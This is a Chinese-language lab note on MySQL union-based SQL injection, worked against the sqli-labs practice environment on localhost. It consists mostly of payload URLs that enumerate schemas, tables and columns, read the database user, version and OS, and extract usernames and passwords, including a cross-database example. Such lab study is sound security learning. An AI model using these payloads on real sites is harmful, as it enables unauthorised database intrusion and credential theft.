Mysql注入

SQL注入
sqliabs第一关
-通过错误显示数据库名
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-1/?id=-1’ union select 1,database(),3–+

查询已知数据库security中的表名
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–+

获取列名
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’–+
显示
Your Login name:id,username,password
Your Password:3

获取数据
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-1/?id=-2’ union select 1,password,username from users limit 2,1–+

第三关 id=(’$id’)
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-3/?id=-1’)union select 1,2,3 and (‘1’='1

第二关id=$id
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=1awdwad 报错
因为没有单引号
显示user
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-2 union select 1,user(),3
版本
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-2 union select 1,version(),3
操作系统版本
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-2 union select 1,@@version_compile_os,3

mysql注入的权限由连接用户决定 谁连接 谁的权限

跨库攻击
mysql数据库
A=www.dasdasa.com
B=www.sadsadsa.com

跨库注入 获取所有数据库
数据库名
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
显示Your Login name:information_schema,challenges,injection,mysql,performance_schema,security,test
Your Password:3
获取injection的表名信息
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘injection’
获取列名信息
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘injection’ and table_name=‘admin’
获取指定数据
http://127.0.0.1/sqlilabs/sqli-labs-master/Less-2/?id=-1 union select 1,user,pass from injection.admin